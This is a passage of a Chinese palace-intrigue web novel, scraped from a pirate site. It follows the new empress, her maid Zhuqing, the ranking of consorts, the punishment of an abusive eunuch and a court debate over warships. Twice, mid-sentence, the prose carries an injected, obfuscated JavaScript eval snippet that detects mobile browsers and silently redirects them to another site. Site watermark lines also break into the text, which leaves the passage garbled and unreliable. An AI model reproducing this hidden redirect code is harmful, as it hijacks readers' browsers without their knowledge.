来东宫宣旨的太监恭恭敬敬地把圣旨递给太子妃说道:“还请皇后娘娘入住椒房殿太后已经搬到寿仁宫了椒房殿昨个已经收拾妥当。” “竹清。”皇后抬抬下巴竹清便上前给了荷包她笑道:“还请公公喝茶。”这个公公倒是从前见过跟在皇帝身后提灯的如今也一朝翻身了。 “奴才多谢皇后娘娘赏赐陛下说了后妃的册封尚且不急等到登基大典以及封后大典举办结束之后陛下再与皇后娘娘商议后妃的位份。”太监提醒完就离开了。 后院的女子们起身后又向皇后娘娘行礼皇后抬手“都平身罢方才公公的话你们也都听见了册封你们还没有那麽快你们且不要着急都好好呆在东宫千万别生事。” “竹清你留几个人在东宫看着她们。”皇后说竹清应了“奴婢挑几个信得过的能力出众的妈妈看着必然不会教她们威风起来。” “嗯。”皇后点头又吩咐她去殿中省瞧一瞧朝服制得如何了。 竹清到了殿中省林忠海亲自出来迎她“哎呦竹清姑娘咱家老远听见你要来这不候着挺久的了。” “林公公客气了。”竹清与他虚伪几下又问他朝服的事。 皇后住进了椒房殿待十一月初的登基大典举办之后就是她的封后大典一切即将尘埃落定。 “你如今身份不同了本宫打算把椒房殿的一个东侧间给你住如何?”皇后待竹清是真心的好椒房殿的宫女太监都是住在后罩房但是竹清对于皇后来说是不一样的故而她愿意给竹清脸面。 能单独住一个侧间谁还去住后罩房?竹清赶紧笑嘻嘻地边行礼边说道:“奴婢谢皇后娘娘恩典。” 殿中省给椒房殿拨了人数规定内的宫女太监过来皇后娘娘点了留下的人交由竹清去管教。 另外跟着皇后的老人地位也是各有不同像曾妈妈竹清就开口为她要了一份好差事:管椒房殿的小厨房。 油水多又轻松喜得曾妈妈找不着北。 竹清如今是椒房殿的掌事宫女她换上了绣园给她制的新衣裳袖口、衣领处都是绣了花朵儿的教人一瞧就知道她的身份不一 般。 “去打水来,娘娘要洗漱了。竹清吩咐,今个是封后大典,现在天黑蒙蒙的,她们就预备着动身了。 “竹清,你瞧本宫是不是不一样了?皇后问,她看着铜镜里穿着华丽的自己,连耳坠子都是饱满东珠制成的,体面又尊贵。 “今儿早上有喜鹊登枝,喜气盈门,娘娘容光焕发,自然与以前不同了。竹清说,就连她,也是满身光华,手上的镯子手环成串儿,叮当响。 “走罢。皇后说,封后典礼很繁琐,要敬香告知列祖列宗,要接受百官跪拜,一套礼仪走下来,皇后脸上是肉眼可见的疲惫。 待回到了椒房殿,还不能歇息,因着是封后典礼,所以陛下一定会来椒房殿留宿,皇后只能强打起精神来等着陛下。 “陛下驾到! 小说的域名caixs.com⑼(请来才 小说 看最新章节 完整章节)头戴冠冕的皇帝信步闲庭地走进来,他正值壮年,有一股正掌权的青涩感。 “臣妾参见陛下。皇后施施然行礼,待起身后,又听得陛下与她说,“封后大典已然结束,接下来就是册封后妃了。 皇后呼吸轻了一瞬,两位侧妃都是有儿子的,她问陛下,“不知陛下想要给贺侧妃还有柳侧妃甚麽位份? “贺侧妃有儿有女,便册为妃,朕给她一个封号,叫舒,就叫舒妃。陛下说罢,又想起来柳侧妃,柳侧妃娇俏,是他所喜爱的小女子,且又生了一个铭哥儿。 “柳侧妃也封个妃位,赐一个封号,如何?陛下询问皇后,他没有注意到皇后眼色闪了闪,还在自顾自地说道:“铭哥儿身子骨有些差,入冬又病了,便叫铭哥儿与她住在同一个宫,也好照顾。 “陛下。皇后出声轻轻唤了唤,提醒道:“柳侧妃的父亲在三月遭了先帝贬斥,还发配到山林密布的桔州去了,您给了柳侧妃脸面,岂不是教大臣们觉得您宽宥了她父亲? “到底不好。皇后说,陛下听了,内心犹豫起来,他登基之后,虽然有上官氏的支持,但是朝臣们也不是都服他的,他在这个时候,的确不能留下任何话柄。 “按照祖制,后宫当有皇贵妃一,贵妃二,四妃六贵嫔,还有八嫔,剩下的贵人、美人、才人等等则无定数。皇后看了看陛下的脸色,继续说道:“陛下若想给柳侧妃脸面,一个妃位即可,待日后她有生育之功 再赏赐封号也不晚。” 眼见陛下还不说话皇后又说道:“或者陛下想要给个封号也不是不行让贺侧妃当个贵妃可好? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340636|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她不介意抬举贺侧妃一来贺侧妃入府多年一直本本分分生的孩子又是知礼懂事的唯独柳侧妃有些娇纵铭哥儿也是被她养得性子娇该好好磨一磨才是。 “也罢现在给她封个贵妃日后有功岂不是要封为皇贵妃?不妥 在太后薨逝前东宫就新进了一位良娣是一个四品武将的小女儿姓陈叫陈良娣。 “崔良娣有生育之功册为贵嫔掌一宫主位李良娣也是一般做个贵嫔皇后觉得呢?” 皇后想了想崔良娣笑着说道:“极好不若再赐个封号给她们?崔良娣赐个敬字李良娣赐个安字也合适她们。” “不错。”陛下应允了又讲到剩下的一个良娣“陈良娣进东宫不久且没有生育生产的功劳封个嫔罢。” “良媛……温良媛有了身孕且她是伺候你的老人了便也封个嫔待她生产给她一个贵嫔之位。”陛下也算是给皇后脸面了。 “苗良媛封嫔许良媛封嫔……” 一通下来后妃册封得七七八八了皇后想到了秋侍妾只是如今大喜之日不宜说这个倒不如日后有机会大封六宫的时候再为她请求追封。 “敏姐儿大了也该预备着嫁人便封她为明文长公主皇后在世家才俊中挑一个不错的朕看着好便为她们赐婚。”陛下说这也是联络世家的一种方法。 “欸。”皇后浑身轻松幸亏之前她没有随随便便把明文长公主嫁出去一个太子的女儿与皇帝的嫡公主婚嫁自然不能比。 “其余的皇子公主还小便不用册封待他们大了朕再给他们尊荣。”陛下说他看向皇后提醒道:“有大臣上奏说选秀应当在年后举行皇后怎麽看?” 虽然在服丧但是一些适龄的公子小姐还是要先定下来等三年之后再婚嫁。 而世家小姐适龄的得先通过选秀撂牌子赐花归家这才能自行婚配所以朝臣们上 这样的折子,一半是真心疼爱儿女。 至于剩下的一半,就是想尽快往陛下的后宫送进自家的人,来日诞下皇子,提携自家长盛不衰。 “再晚一些罢,明年年底就合适了。皇后说,陛下点头,随后两人洗漱,就歇息了。 翌日一早,竹清推开房门,早有两个小宫女帮她打了水还有花瓣汁子来伺候她洗脸,竹清笑了笑,“你们不必早早来候着。 “能伺候竹清姐姐,是咱们的福气,姐姐不必觉得不安,咱们还想着多亲近亲近姐姐,学一下姐姐的才艺呢!小宫女们嘴甜,一水儿的好话不带重复的。 竹清受了她们的讨好,见她们身上无甚值钱物价,便随手拿了妆奁里的两根珠钗分给她们,“戴着罢,日后出去当差,也不好教旁人看低咱们椒房殿的宫女。 “多谢竹清姐姐。 怎能不教她们高兴? 早早的,册封后妃的圣旨就从勤政殿传往东宫,只是后妃们还没有入住宫殿,故而皇后今日只需要去给太后请安即可,不必接受后妃们的跪拜。 太后住进寿仁宫,尽管这个宫殿前几个月才办了丧礼,但是太后一点也不怕,反而觉得自由自在,她对皇后说道:“皇后啊,这管理后宫的权柄哀家全部给了你,往后你只需要按照哀家教你的一样一样做好就行了。像那些大日子的宴席都是有先例的,不懂的就照做。还有你身为后宫之主,切记要管好后妃,不可吃醋…… “皇后,你可明白哀家的意思?太后抬眸问,她虽然温和,但是言语中的意思不容置喙。 “儿臣定当听从母后的教诲,不忘皇后的责任。皇后说,不知从何时起,她与太后的关系就变得淡了。 从前她与太后有同一个目的,那就是捧雍王上位,随着雍王成为了太子,到现在登基成帝王,她与太后之间就开始耐人寻味起来。 太后为了上官氏,她为了自己的孩子,皆是有私心的。 两个女子心知肚明,却又不得不虚与委蛇,强打着精神来面对一道道机锋。 “皇帝后宫还是少了一些人,像先帝,四妃六贵嫔,甚至是八 嫔,都是满人了的,更别提其余不计数的贵人美人,更是不知凡几。”太后想到了挪去寿康宫与旁人住一起的淑贵太妃,说她命好,躲过了恁多年的腥风血雨,生了一个皇子,眼看着后辈子无忧,但是孩子被记在她名下。说她命不好,却又安然无恙做到贵太妃。 到底怜惜淑贵太妃,太后就嘱咐皇后,“淑贵太妃那里的日用不可短了缺了,她身份尊贵,不能让旁人欺负了她去。” 皇后应允,又说道:“昨晚陛下就与儿臣说到了选秀,只是正要守孝,陛下便与儿臣商议明年这个时候再选秀,充实后宫。” “嗯,合该是这样。”太后说,她想了想,还是推心置腹地提醒道:“皇帝的后宫进多少人都好,你始终是皇后,哪怕是皇贵妃,也终究是妾室,无论如何也越不过你去。你只管放宽心,教好太子即可。” “是,儿臣谨记。”皇后淡笑,随后她又听太后交代了许多要点,多得很,她有些记不住,不过没关系,竹清记性好,她肯定能记住的。 又过了两日,后妃们陆陆续续搬进了自己的宫殿,只是人一多碰在一起,难免有些争吵。 像李良娣做了贵嫔,住咸福宫,为主位,而跟着她一起住的妃嫔其中有一个还是老熟人,苗良媛,如今得唤苗嫔了。 苗嫔多有不忿,原以为凭着沛哥儿,她怎麽样也能作一个贵嫔,哪曾想只是一个嫔位,屈居咸福宫的侧殿,让她如何顺心? 连咸福宫的主位,都是一个没有儿子的低贱之人。除了李贵嫔,还有同住咸福宫的另外一个妃嫔是苗嫔所看不惯的,新进宫的陈嫔,无所出,可是居然也得了一个嫔位。 于是迁宫这一日,苗嫔就对陈嫔横挑鼻子竖挑眼的,像个炮仗一样,一下子就把陈嫔点燃了。 作者有话要说 第 70 章 女官制,倭寇 第70章女官制 “我当是谁呢,原来是陈嫔怎的在这儿不走了?是不想进咸福宫麽?”苗嫔讥讽地说道见了陈嫔如花似玉的脸,顿时更加生气简直是哪哪都不顺,她说“你不进就别挡着道是故意不让我进去?小心我回禀皇后娘娘,治你的罪!” 陈嫔都要气笑了,没想到苗嫔能这样无理取闹这迁宫定然要排个先后,她虽然与苗嫔一样是嫔位但是自认她是从良娣升上来的比苗嫔地位更高故而也看不起她。 “我懒得理你。”陈嫔翻白眼儿,一个有了皇子的人居然还不能做一宫主位料想也不会有甚麽出息何必对她客气? 连康良媛只有一个公主都得了嫔位。可想而知,苗嫔有多不中用。如果她今日礼让了苗嫔,往后岂不是人人都可以欺负了她去? 李贵嫔已经歇下了,听了这些动静也不想管,她满心都是自个的儿子全哥儿,可惜全哥儿已经出嗣给祁王,成了别家的孩子。 “娘娘,咱们不管管麽?让她们这样吵下去,恐怕不妥。”有宫女问李贵嫔这住进咸福宫的头一日就不和接下来日日相见只怕也是吵吵闹闹。 “管甚麽?”李贵嫔懒懒的她经事多倒也稳重了许多她说“你看她们在咸福宫里头闹只要不闹到外头这事也就是咸福宫里面的趣事皇后娘娘也不会过问没有人责备本宫也懒得管。一笔烂账由她们去罢。” 只盼着她们两个当中能有一个争气的也做个贵嫔甚至是妃子早早搬出咸福宫去。 “不好了娘娘皇后娘娘宫里的竹清姐姐来了咸福宫见了苗嫔与陈嫔争吵说要禀告皇后娘娘呢!”一个小宫女着急忙慌地进来说李贵嫔惊讶赶紧吩咐贴身宫女“快快与本宫梳妆本宫出去瞧瞧。” 谁不知道竹清就代表了皇后娘娘?见了低位妃嫔有错是能直接训斥的。 竹清来咸福宫这事还得从一个时辰前说起。后妃们进宫皇后娘娘便打发了竹清去给各宫赏赐竹清先后去了舒妃以及柳妃的宫里随后去了崔贵嫔那按照顺序紧接着就来了咸福宫。 可是没想到进了咸福宫还没欣赏景色呢就听见了集市骂街一样的声音进来 一瞧是苗嫔与陈嫔尤其是苗嫔脸红鼻子热的。 “吵甚麽?”竹清大声责问一听她的声音苗嫔与陈嫔顿时噤了声。竹清来到她们面前福身行礼过后直接问道:“奴婢奉皇后娘娘命令来咸福宫看看各位主子不曾想撞见了苗嫔与陈嫔吵闹这是在吵甚麽?” “迁宫这样的大喜日子两位主子在争甚?不若到皇后娘娘跟前去辩个明白?”竹清问原本她的差事很快就能办好了哪知出了这档子事。 “竹清姑娘不必了我与陈嫔只是斗嘴两句不碍事的。”苗嫔率先说道显然她很了解竹清见她这样说脸上瞬间害怕服软了。 “苗嫔说得在理咱们只是闹着顽。”陈嫔紧跟其后说了。 竹清神色平静看不出甚麽变化她越过苗嫔与陈嫔看向了正从正殿急匆匆赶出来的李贵嫔“奴婢见过李贵嫔。” “竹清姑娘平身。”李贵嫔咳嗽两声又问竹清是来做甚的。 “皇后娘娘原是想着主子们进宫多有不便便差了奴婢来看看哪知奴婢正好撞见两位嫔主子在争吵。”竹清说她抬了抬手身后跟着的小宫女小太监们就上前。 竹清指着他们手上的礼说道:“这是皇后娘娘给三位主子的迁宫礼还请主子们受赏。” 李贵嫔率先对着竹清行礼跪谢再有后面两位跟着她一起三人齐声道:“臣妾谢过皇后娘娘。” 竹清一看 小说全网首发无弹窗免费阅读caixs⊙(请来才 小说 看最新章节 完整章节)她们的宫礼学得不错“那奴婢就先告退了。”她能口头说两句但是却不能直接惩罚苗嫔与陈嫔。 这事还得回禀皇后娘娘让皇后定夺。 从咸福宫出来这还没完还有几个宫殿。竹清又磨了一个多时辰这才走完了所有宫殿可把她累坏了。 从安居宫出来周遭一片寂静。安居宫只住了一位贵人从前是王府里浣衣的婢女在雍王醉酒之后临幸了她她就成了没名没分的通房。偏偏她长得不俏丽一直被雍王抛在脑后。 这回若不是皇后提醒只怕陛下早就忘了有这麽一个人更别提封赏。 这位贵人也自觉想要安静就特意求见皇后娘娘让皇后娘娘给她一个僻静的住处。 从安居宫出来正拐过了一道不规则的拱门竹清走在最前面 一个人影却恰好撞在了她怀里。 她约莫十五六岁,头上的两朵旧旧的绒花正歪歪斜斜地别在耳边,表情惊慌失措,衣裳被她揪得凌乱。 “姑姑救我!她低声地喊着。 她是没有法子了,所以才抓住了一点机会就向旁人求救,哪怕她压根儿不认识竹清。 “你们去那边等我。竹清朝身后的小宫女小太监吩咐,她指的地方是相互看见,但是刚好听不见说话的声音。 “是。宫女太监们尽管很八卦,但是还是听竹清的话,一个个悄无声息地退后。 竹清比怀里的小宫女高,能清楚地看见她脖子上的红痕。一个小宫女在这样偏僻的地方捂着衣裳求救,竹清瞬间想到了某种可能。 “红花,你跑哪儿去了?让公公瞧瞧,可是躲起来了?尖利的声音让竹清皱眉,一个穿着红配蓝衣裳的太监出来,看衣裳的品级,应当是一个管事太监。 竹清怀里的小宫女抖了抖,面上都是害怕,她揪住了竹清的衣摆,抬头,满眼都是祈求。 她无声地说道:“姑姑。 红花不认识这位姑姑,但是后头来的公公却认识她,一见了她那张脸,方才还吊儿郎当的公公立马小跑到她前面,谄媚地说道:“这不是竹清姑娘麽?有何贵干? “是曲公公啊。竹清意味不明地说。 说起曲公公,竹清头一回知道他的名字,还是从雯棉姑姑那儿听见的,曲公公喜欢鲜嫩的小宫女,专门挑了新进宫的小宫女来糟蹋。 眼下,似乎是她撞见了这样的事。 曲公公脸色有些不好,怎的正正好让她看见了?这下可就有些麻烦了。 “站到我后边去。曲公公,这是怎麽回事? “是新来的小宫女不懂事,这不是她正好分在了咱家手下麽,为了避免她日后做事不妥当,堕了咱家的名声,咱家这才把她带出来,另外调教一番。曲公公一番话教人拿不出错误,他还反问竹清,“不知竹清姑娘想如何?这是西六宫的宫女,论理也应当由咱家带回去。 曲公公耷拉的眼睛看向红花,“红花,还不快快跟咱家回去? 红花瞬间揪住 了竹清的衣摆。 “不必了,我正奉皇后娘娘的命令有事做,既然这个小宫女不忙,就让她跟着我去忙活罢。竹清有这个权力暂时调用小宫女,这话一出来,曲公公也知道不可能把红花带走了,他内心掀起巨浪,面上却风平浪静,他慢慢吞吞地提醒红花,“既然竹清姑娘这样说,那就是红花的福气了。只是红花啊,你千万不要仗着竹清姑娘疼爱你,就胡作非为,口上没个遮拦,这可不成的。 曲公公的警告让红花有些眼热,若不是顾忌着现在的场面,她只怕要立马哭出来了。 “行了,我带走的人,都是听话的。竹清不欲与曲公公掰扯,转身对着两队小宫女小太监招手,“咱们走。 那头候着的宫女太监走上前,一个个越过曲公公,徒留曲公公在后边。 “哼,咱家就不信还能治咱家的罪。曲公公说,他做这样的事早已炉火纯青,一直小心翼翼,不曾闹到主子跟前。 今天挑这样的僻静之地居然好巧不巧撞上了竹清,不过没关系,他还没有来得及对红花做些甚麽,没有证据的事,他可不怕! “竹清姐姐,您要我做甚麽?我在西六宫是打扫廊道的,我扫得可干净了,您就让我做罢!红花哀求,她想留在椒房殿伺候,不想呆在西六宫见那个曲公公了。 “不急,你先呆在这儿,菊儿,你带红花去梳洗一番。竹清吩咐,菊儿“欸了一声,上前拉住了红花,和善地说道:“来罢,跟我去挑身衣裳。 竹清去见了看记册的皇后,她先是回禀今日当的差事,“各宫主子都谢过了皇后娘娘的赏赐,另有,奴婢去咸福宫的时候,正好看见了…… “哦?第一日就吵吵嚷嚷?李贵嫔先前不管麽?皇后问,她早有预料,毕竟原本在东宫之时,女子之间就常有摩擦。 “不曾,还是奴婢来了,她才出来。竹清说,“怕是奴婢不去,李贵嫔就只当是没听见了。 “既如此,你去传本宫的口谕,李贵嫔管教不善,罚月例三个月。苗嫔与陈嫔不守规矩在宫里喧嚷,罚月例半年,并且两个人各抄写静心经二十遍,下个月交给本宫。皇后说,“罚一罚她们也好,教后宫众人瞧瞧,不可因着有喜事就忘了宫规。 “是,奴婢待会儿去。还 有一事,奴婢要回禀娘娘。竹清把红花的事说出来,皇后的眼神终于从记册上移开,“你的意思是,对食? “不是,就是曲公公单方面祸害红花,看他行事,说不得不是第一次了。竹清轻声说,“娘娘,留着曲公公这般行事,早晚会坏事。 首领太监不行换一个就成,总不能放着毒瘤不割掉罢? “你说的在理,只是本宫不好以秽乱后宫的罪治他。一来到底没有抓住他正在行那事,二来,岂不是得罪了太后?皇后叹气,曲公公在太后管事那会儿就已经是西六宫的首领太监,若她以这个罪名治曲公公,不是跟所有人说太后管后宫的能力不行麽? 得换一个罪名治他! “他管着西六宫,竹清……皇后招手,竹清附耳过去,听了皇后的吩咐,她说,“奴婢一定办妥。 “你也仔细看看,有没有好的太监或者是嬷嬷能顶替他的,待他一遭贬斥,就立马换一个人顶上。皇后说。 竹清预备着去办,临行前又问了红花该如何处置。 “既然是你带回来的,让她打扫椒房殿的宫室罢。皇后漫不经心地说,多一个小宫女而已,不碍事。 得知能留在椒房殿伺候皇后娘娘,红花简直高兴疯了,她想寻竹清,磕头感谢她,菊儿见状,想着说道:“你不急,竹清姐姐向来忙碌,咱们也是不能时常看见她的,你得等竹清姐姐没事做,才能去找她。 “欸。 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节)红花又哭又笑。 竹清办事极快,不出三天,西六宫的某一个宫殿就丢失了物件,一查,就是曲公公昧下的。 曲公公被带出来的时候,衣衫不整,脖子上还有一个红红的唇印,他双目凸出来,气喘吁吁地说道:“我没有偷东西! 竹清居高临下地看着他,说道:“人赃并获,抵赖不得,带走。 西六宫曾经威风凛凛的曲公公就这样消失了,他被皇后娘娘打发去刷马桶,日子可谓是一落千丈。 新上任的首领太监,是一个温和的嬷嬷,这是竹清特意选的,西六宫不知多少人遭过曲公公的手,换一个温柔的嬷嬷,也能让这些小宫女缓一缓。 “你瞧瞧,太监管事就是不行。皇后看着指控曲公公恶行的状纸,心口有些疼,“这些小宫女都是花 儿一样的年纪,遭罪了,哪怕25岁放出宫去,只怕也寻不到好人家了。 不提旁人知不知道这件事,但是就论小宫女自己,恐怕也是迈不过这道坎的。 “奴婢也是听说,这些小宫女特别怕与太监接触,见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340637|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年长的太监们,一些胆子小的,浑身发抖。 “娘娘怜惜她们,只是可惜她们不能做女官,不然总有个去处。且若是有女官大人在,这些太监也不敢这样过分了。竹清惋惜,这样的好制度,怎的她就没有赶上好时候? 若现在还有女官制,说不得她也能混个尚宫大人当当。 “本宫且想想这些小宫女该如何处置,放出去婚配只怕她们也不愿意,竹清,你把她们都叫来,本宫问问,看她们愿不愿意去本宫的庄子上教小丫鬟礼仪。皇后问,这也算是一条出路了。 “欸,奴婢这就去。竹清做这些事情的时候都是用光明正大的理由,有需要的活计她就随手点几个小宫女,恰好这几个就是遭过曲公公脏手的。 这样喊出来,她们也就不用受人非议。 竹清把皇后的提议与她们说了,并附带一句,“不怪乎这样周折一番才把你们找出来,若是大张旗鼓的,少不得有风言风语。 几个小宫女赶紧点头,是了,自从曲公公没了,一些知道内情的嬷嬷都在议论他,连带着看她们也不大对。嬷嬷们是人精,其他宫女姐姐未必不是,都瞧出来了。所以她们这些天过得紧绷绷的,若是再“出名 “谢娘娘关怀。其中一个略大一些的小宫女哽咽着说。 “我们愿意的,留在宫里我们都很害怕,看见那些太监,我总是心慌慌……一个哭了另外几个也跟着哭,想到自己身上的遭遇,都恨不得不活了。 “娘娘的意思是,让你们出宫去教小丫鬟读书写字,一般的先生不愿意教小娘子,所以娘娘就想到了你们。竹清说。 这些小宫女入了宫好几年,都是会写文读书的,容貌也俏丽,去教书正好。 “可是咱们都没有做过先生,而且……在大文朝,读书人地位崇高,连同教书先生的地位也不一般,现在让她们去做先生,还是女先生? “这有甚麽?我且问你们,你们会认字麽?会写麽?看 得书多不多?”竹清问几个小宫女毫不犹豫地点头她就笑了笑轻轻松松地说道:“这不就是了既然会那教旁人也可以的女先生也不是没有往后你们就是了。” “竹清姐姐我们……”几个人泣不成声原以为没有了清白这辈子就这样了可是忽的有了一个从前想都不敢想的好前程教她们激动得不成样子。 “好了好了莫哭了。”竹清安慰她们“往后就有好日子过了哭哭啼啼的可不成。娘娘说了除了你们这个月再寻几十个宫女开恩提前放你们出去待你们出去了自有马车接你们到庄子上。” “欸。”小宫女们一个个应了。 竹清给她们擦了脸这才带着人回了椒房殿。 “她们都等着感谢娘娘呢。” 皇后笑了笑 旋即她似乎是想到了甚麽叹了一口气说道:“竹清你帮本宫想想让这些宫女去教小丫鬟到底值不值?” 竹清想到了先前皇后与自己说的话她想让小丫鬟们学会了写字有一口流利的官话然后再让她们进宫亦或是去边关做个铺子的管事。 “女子做事细心宫里头有本事的宫女不多大多数是以老带新这得带到甚麽时候?还不如让她们十来岁就有些本领这样进宫了也能各司其职。”皇后说她先前被太后说的女官勾起了心思想着既然没有女官之名倒不如先来个女官之实让宫女们有本领。 竹清随口一说“只盼着有朝一日后宫中能重现女官制那娘娘培养的这些小丫鬟岂不是能立时派上用场?到时候连殿中省也不敢造次了。” 可不嘛是皇后让人调教的送进宫里填补女官的各种位置间接削弱了殿中省皇后的权力无疑得到加强。 殿中省听命于皇帝但是女官却是听命于皇后。 “你个机灵鬼这麽敢想。”皇后摇摇头只当竹清说笑女官制好不容易才废除又怎麽可能轻易再度使用? * 过了几日天似乎一下子冷了乌云灰蒙蒙的飘着偶然有刺骨的风裹挟着落叶在空中飘。只是不曾下雨故而这风是刮脸的疼生 疼。 整个盛京城依旧一片白连续没了两个主子让世家权贵们都安静下来没有人在这个当口举办宴席连同着青楼花船的生意也一落千丈 只是在这个当口沿海一带却不合时宜地乱起来了。 是对大文一直虎视眈眈的倭寇挑起来了战争他们秉着打不过就跑抢了就跑的策略在沿海屡屡烧杀劫掠杀死了几个渔村的百姓共计两百四十人其中不足八岁的婴孩有二十六个。 此事一经上奏朝堂之上顿时一片热议无数大臣请奏要出兵当然也有一些大臣不同意开战于是两方人马登时吵了起来。 “最近国库空虚接下来还有几场节日要办如何能斥巨资去打海船?从前如何抵御倭寇的现在照做不就成了。” 说这话的无疑是个文官他说得隐晦倒是没有直接说是因着接连两场国丧才导致没有银子而是把矛头指向了海船他说“前几年海船不是还使了几百万银子下去?结果甚麽用处都没有看出来扔下去只能听个响儿那新式海船的影子是半点也没有看见。如今还要银子去造船未免过于浪费了。” “国宴不需要银子麽?下个月就是万寿节以及太后生辰也需要银子这些难不成都得退让?” 有武官气得跳脚恨不得立马撸起袖子干仗他指着开口的那些文官骂道:“一群竖子!尔等久坐高堂岂知打仗的内里实情?那倭寇有新武器咱们大文若不赶紧研制新的海船一旦开打如何把他们的人头全部取下?” 他痛心疾首看向高座上的皇帝哭诉道:“陛下!微臣句句是实话海船不造不行而且经过了两年造船局已经有了新的进展再使把劲儿说不得就能有新的海船。到时候一把打到倭寇的老家也是指日可待陛下!!” 作者有话要说 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第 71 章 竹清坑人 第71章竹清坑人 这个武官两鬓斑白,跪在地上哀求的模样让不少人侧目,心想,这个老东西为了海船可真是豁出去了,竟这样舍得脸面,哭的模样倒是真真让人觉得动容。 “陛下,微臣觉得老将军的话在理,新式海船正有些起色,断不能半途而废,还请陛下思量,再批一些银子去造船局。” 文官却不大认同,觉得他们在没事找事,他们一向瞧不起粗鄙不堪的武将,现下听闻他们想缩减举办大国宴的预算,心中不由得更加不满。 不能体体面面地举办宴席,岂不是堕了他们大文的风光? 皇帝很头疼,他头一回感受到了无力感,就像他只是一个筏子,底下的人才是船夫,能掌控他。 “此事可是稍作排后,咱们目前最重要的事是击退倭寇。”上官氏的老大人站出来,维持住了局面。 如同先帝所想,有了上官氏的支持,皇帝才能在短短的时日内把控住朝政,像现在这般,上官氏的人都会站在皇帝这边。 大文对上倭寇一向是赢的,故而大臣们很快商量出法子,皇帝拟旨,派了一位擅长海战的将领前去领兵。 只造不造新式大海船这事,他们仍旧吵得面红耳赤,没完没了。 皇后在前朝有人,故而很快得知了这一消息,这样的事,他们也没有想着瞒着。 “竹清,你说新式海船真的很重要吗?”皇后问她,饶是她饱读诗书见多识广,也不了解新式海船的重要性,甚至她对于这些战船,脑子里想象不出来一点。 听见皇后的这个问题,竹清下意识地点点头,她虽然没见过大文朝的海船,但是有着上辈子的见识,从大局的角度来说,海船的重要性毋庸置疑。 只是当局者迷,像大文这样的大国很是骄傲,觉得凭现在的实力,不需要新式海船也能睥睨天下。 现在也许是不用,十年后呢?二十年后呢?一步慢步步慢。 竹清仔细斟酌,回答道:“奴婢觉得是重要的。” “哦?”皇后换了一个轻松的姿势靠在抱枕上,随后看向竹清,笑道:“说说你的见解。” “是。奴婢虽然没有见过海船,也不知道新式海船有何不同之处,只 是娘娘那到底是武器您还记得漠州叛军的事吗?漠州向外族售卖旧样式的武器使得外族也得知了大文的独有的武器是如何制作的。那海船也是一样的都是武器自然也就有泄露的风险。” 见皇后慢慢听进去了竹清继续说道:“咱们虽然防着旧式样海船图纸的泄露却也要两手抓造新式海船两相齐下岂不是更好的巩固我大文的海防?娘娘早打算永远比临时打算要有益处得多。” “有了新式海船说不得能打倭寇一个措手不及甚至将他们打怕永远不再侵犯我大文的国土。” 竹清用皇后能理解的例子说明白了也说服了皇后在这样的家国大事上皇后也是想出一份力的。 “国库空虚两场国丧就去了大半银子现下暂时凑不出那麽多去造船局只怕重臣们都不会答应造新式海船的。”皇后有些忧愁两场国丧她都有经手自然知道花销颇大。 大文本就重丧礼更何况还是太后与皇帝的丧礼自然是花多少都批准的。要是不造新海船国库的银子勉勉强强也够使。 “娘娘何必看着国库不如瞧瞧其他有银子的地方?”竹清言笑晏晏丝毫看不出她即将就要坑人了。 “哪里……你是说世家权贵?”皇后脑子灵活很快就想到了竹清话里的意思。 竹清点了点下巴“正是娘娘您想 至于权贵们答不答应心里滴不滴血那就不是她要想的事了。反正她的目的是为自己的主子解决烦恼其他人的烦恼自然由其他人去解决。 “你说的在理世家高门的底蕴足哪怕有的没落了也终究不是寻常小户可以比的。让他们拿银子出来也是一个法子。”皇后想了想又说道:“倒不如本宫带头先捐一些给造船局随后带动夫人们。” “娘娘善心。”竹清夸了一句这还没商量完皇后又吩咐她去请陛下来毕竟这样的事得事先问过陛下的意思。 陛下来的时候皇后 已经让人摆好了汤羹待服侍他用了皇后这才把打算说出来陛下一听喜色上眉“皇后果真贤惠替朕解决了一个大问题。” 这样既不用动用国库武将们也不用一直纠缠两全其美。 只是先前在朝堂之上拒绝造船的官员们恐怕就要哭晕了毕竟国库的银子与他们关系不大但是现下出的可就是自家的银子了。 “臣妾想着陛下事情多 也是时候给官员们找点事情做了不然他们总没事找事老是上折子阻碍她的父亲回京任职。 陛下眼里闪过一抹不虞是了这些官员们出身尊贵家里富裕怎麽可能凑不到两百万?只怕还不止只是不想拿出来罢了。 尤其是……他想到了先帝与他说的——没有贪污的官员凤毛麟角在朝堂之上的官员没有哪个是清清白白的。 但是他们本事大有才干于是先帝也就睁一只眼闭一只眼毕竟把这些大臣打压下去莫说世家不答应就说一时半会去哪儿找寒门的人顶上缺儿。 寒门与平民子终究比不得耳濡目染长大的勋贵子。 “皇后打算出多少?朕也随一点私库里的东西不少拿一些出来用也是妥当的。”陛下说先帝临走前把他的私库一分为二一半给了他一半给了皇太孙亦就是现在的太子。 “臣妾出十万两。为国的大事断没有犹犹豫豫的道理。”皇后说她说罢陛下又出了二十万两。 这就够了。 既然要攒局皇后就交由竹清去办。 竹清去了殿中省找林忠海过往的宴席都是有记录的她需要拿到单子然后与皇后娘娘商议如何举办。 